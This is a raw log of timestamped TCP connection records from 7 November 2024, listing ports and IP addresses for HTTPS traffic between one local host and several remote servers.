Nov 7, 2024 23:47:28.910036087 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.910042048 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.910157919 CET	49744	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.910162926 CET	443	49744	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.951334953 CET	443	49748	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.963740110 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.967087984 CET	443	49758	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.967403889 CET	49758	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.967417955 CET	443	49758	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.967763901 CET	443	49758	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.968183994 CET	49758	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.968235970 CET	443	49758	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:28.968297005 CET	49758	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:28.995573997 CET	443	49742	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.995594025 CET	443	49742	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.995721102 CET	443	49742	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.995733023 CET	49742	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.995769024 CET	49742	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.996129990 CET	49742	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.996154070 CET	443	49742	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.996169090 CET	49742	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.996175051 CET	443	49742	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.998823881 CET	443	49745	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.998895884 CET	443	49745	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.998915911 CET	443	49746	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.998933077 CET	443	49746	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.998975992 CET	49745	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.999008894 CET	49746	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.999017000 CET	443	49746	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.999053001 CET	443	49746	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.999118090 CET	49746	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.999352932 CET	49745	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.999372005 CET	443	49745	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:28.999382973 CET	49745	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:28.999388933 CET	443	49745	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.000421047 CET	49746	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.000421047 CET	49746	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.000433922 CET	443	49746	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.000443935 CET	443	49746	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.009160042 CET	49761	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.009182930 CET	443	49761	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.009237051 CET	49761	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.015331030 CET	443	49758	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.016283035 CET	49762	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.016304970 CET	443	49762	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.016401052 CET	49762	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.016515970 CET	49761	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.016529083 CET	443	49761	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.017838955 CET	49763	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.017848015 CET	443	49763	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.017908096 CET	49763	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.019114017 CET	49763	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.019124985 CET	443	49763	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.019294977 CET	49762	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.019305944 CET	443	49762	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.037755013 CET	443	49743	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.038122892 CET	443	49743	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.038178921 CET	49743	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.038219929 CET	49743	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.038229942 CET	443	49743	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.038242102 CET	49743	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.038248062 CET	443	49743	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.038727999 CET	443	49744	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.038744926 CET	443	49744	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.038801908 CET	49744	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.038808107 CET	443	49744	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.038846016 CET	443	49744	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.038873911 CET	49744	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.038903952 CET	49744	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.038973093 CET	49744	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.038973093 CET	49744	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.038980961 CET	443	49744	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.038985014 CET	443	49744	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.044539928 CET	49764	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.044559002 CET	443	49764	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.044639111 CET	49764	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.045428991 CET	49764	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.045439959 CET	443	49764	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.046334028 CET	49765	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.046354055 CET	443	49765	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.046430111 CET	49765	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.046541929 CET	49765	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.046550989 CET	443	49765	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.063937902 CET	443	49754	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.065352917 CET	49754	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.065368891 CET	443	49754	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.065932035 CET	443	49751	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.066209078 CET	49751	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.066220999 CET	443	49751	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.066381931 CET	443	49754	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.066466093 CET	49754	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.066497087 CET	443	49753	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.066710949 CET	49753	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.066729069 CET	443	49753	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.067198038 CET	443	49751	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.067256927 CET	49751	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.067753077 CET	443	49753	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.067804098 CET	49753	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.068403006 CET	49754	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.068464994 CET	443	49754	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.070102930 CET	49751	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.070167065 CET	443	49751	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.070236921 CET	49753	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.070302010 CET	443	49753	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.070611954 CET	49754	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.070619106 CET	443	49754	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.072668076 CET	49751	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.072675943 CET	443	49751	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.072978020 CET	49753	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.072988987 CET	443	49753	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.098022938 CET	443	49757	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.098244905 CET	49757	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.098258018 CET	443	49757	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.099251986 CET	443	49757	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.099318027 CET	49757	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.100312948 CET	49757	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.100382090 CET	443	49757	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.100480080 CET	49757	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.108587027 CET	443	49758	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.108633041 CET	443	49758	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.108716965 CET	49758	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.109170914 CET	49758	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.109188080 CET	443	49758	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.110551119 CET	49766	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.110579967 CET	443	49766	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.110846996 CET	49766	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.111047983 CET	49766	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.111062050 CET	443	49766	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.118170977 CET	49754	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.118182898 CET	49753	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.118190050 CET	49751	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.123523951 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.123708010 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:29.123716116 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.124716997 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.124788046 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:29.125161886 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:29.125221014 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.125272036 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:29.147335052 CET	443	49757	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.149019957 CET	49757	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.149028063 CET	443	49757	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.154428005 CET	443	49752	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.154772043 CET	49752	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.154781103 CET	443	49752	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.155783892 CET	443	49752	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.155843973 CET	49752	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.156317949 CET	49752	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.156375885 CET	443	49752	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.156435013 CET	49752	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.167336941 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.179949999 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:29.179955959 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.195293903 CET	443	49754	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.195323944 CET	443	49754	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.195368052 CET	443	49754	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.195369959 CET	49754	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.195430040 CET	49754	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.195517063 CET	49757	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.197310925 CET	49754	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.197319984 CET	443	49754	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.198741913 CET	443	49753	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.198822975 CET	443	49751	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.198843002 CET	443	49751	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.198893070 CET	49751	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.198900938 CET	443	49751	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.198913097 CET	443	49751	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.198960066 CET	49751	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.200165987 CET	443	49753	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.200231075 CET	49753	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.203334093 CET	443	49752	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.204778910 CET	49751	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.204788923 CET	443	49751	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.206722975 CET	49753	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.206743956 CET	443	49753	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.211783886 CET	49752	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.211790085 CET	443	49752	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.224342108 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:29.228264093 CET	49767	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.228279114 CET	443	49767	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.228430986 CET	49768	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.228446007 CET	443	49768	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.228503942 CET	49767	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.228708982 CET	49768	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.228713036 CET	49769	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.228746891 CET	443	49769	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.228832960 CET	49769	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.228944063 CET	49767	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.228956938 CET	443	49767	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.229099989 CET	49768	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.229114056 CET	443	49768	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.229273081 CET	49769	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.229289055 CET	443	49769	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.232877970 CET	443	49757	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.233283997 CET	443	49757	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.233474970 CET	49757	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.234106064 CET	49757	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.234117985 CET	443	49757	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.253845930 CET	49770	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.253856897 CET	443	49770	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.253928900 CET	49770	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.254322052 CET	49770	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.254332066 CET	443	49770	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.254884958 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.254941940 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.254968882 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.254997969 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.255012035 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.255026102 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.255063057 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.255266905 CET	49752	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.255501986 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.255527973 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.255553961 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.255561113 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.255690098 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.255836010 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.279190063 CET	443	49748	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.279237986 CET	443	49748	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.279272079 CET	443	49748	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.279304981 CET	49748	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.279321909 CET	443	49748	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.279372931 CET	443	49748	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.279469013 CET	49748	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.283262014 CET	49748	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.283288956 CET	443	49748	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.283385038 CET	443	49752	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.283446074 CET	443	49752	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.283655882 CET	49752	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.286968946 CET	49752	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.286978960 CET	443	49752	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.290783882 CET	49771	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.290801048 CET	443	49771	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.291048050 CET	49771	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.291327953 CET	49771	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.291337013 CET	443	49771	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.292491913 CET	49772	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.292514086 CET	443	49772	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.292670965 CET	49772	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.292891979 CET	49772	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:29.292907000 CET	443	49772	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:29.300755978 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.300762892 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.337459087 CET	443	49750	192.229.133.221	192.168.2.5
Nov 7, 2024 23:47:29.337743998 CET	49750	443	192.168.2.5	192.229.133.221
Nov 7, 2024 23:47:29.337763071 CET	443	49750	192.229.133.221	192.168.2.5
Nov 7, 2024 23:47:29.338784933 CET	443	49750	192.229.133.221	192.168.2.5
Nov 7, 2024 23:47:29.338856936 CET	49750	443	192.168.2.5	192.229.133.221
Nov 7, 2024 23:47:29.339919090 CET	49750	443	192.168.2.5	192.229.133.221
Nov 7, 2024 23:47:29.339983940 CET	443	49750	192.229.133.221	192.168.2.5
Nov 7, 2024 23:47:29.340186119 CET	49750	443	192.168.2.5	192.229.133.221
Nov 7, 2024 23:47:29.340193987 CET	443	49750	192.229.133.221	192.168.2.5
Nov 7, 2024 23:47:29.350146055 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.372097015 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.372150898 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.372488976 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.372523069 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.372549057 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.372564077 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.372570038 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.372615099 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.372785091 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.372922897 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.372971058 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.373017073 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.373022079 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.373419046 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.373446941 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.373486996 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.373491049 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.373502970 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.373567104 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.373572111 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.373610020 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.373842001 CET	443	49756	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:29.373997927 CET	49756	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:29.374021053 CET	443	49756	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:29.374317884 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.374387026 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.374416113 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.374445915 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.374448061 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.374458075 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.374502897 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.374914885 CET	443	49756	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:29.374988079 CET	49756	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:29.375327110 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.375384092 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.375400066 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.375916004 CET	49756	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:29.375972033 CET	443	49756	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:29.376055956 CET	49756	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:29.383790970 CET	49750	443	192.168.2.5	192.229.133.221
Nov 7, 2024 23:47:29.384290934 CET	443	49747	18.245.31.5	192.168.2.5
Nov 7, 2024 23:47:29.419337988 CET	443	49756	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:29.427292109 CET	49756	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:29.427299023 CET	443	49756	152.199.21.175	192.168.2.5
Nov 7, 2024 23:47:29.427306890 CET	49747	443	192.168.2.5	18.245.31.5
Nov 7, 2024 23:47:29.427319050 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.476185083 CET	49756	443	192.168.2.5	152.199.21.175
Nov 7, 2024 23:47:29.489492893 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.489614964 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.489646912 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.489679098 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.489706993 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.489713907 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.489736080 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.489774942 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.489801884 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.489831924 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.489840031 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.489985943 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.490153074 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.490705967 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.490746975 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.490787029 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.490792990 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.490804911 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.490866899 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.491270065 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.491341114 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.491372108 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.491405964 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.491425991 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.491430998 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.491442919 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.491518021 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.500936031 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.501022100 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.501034975 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.501039028 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.501051903 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.501070023 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.501070023 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.501081944 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.501123905 CET	49749	443	192.168.2.5	172.67.191.88
Nov 7, 2024 23:47:29.501162052 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.501193047 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.501219034 CET	443	49749	172.67.191.88	192.168.2.5
Nov 7, 2024 23:47:29.501247883 CET	49749	443	192.168.2.5	172.67.191.88
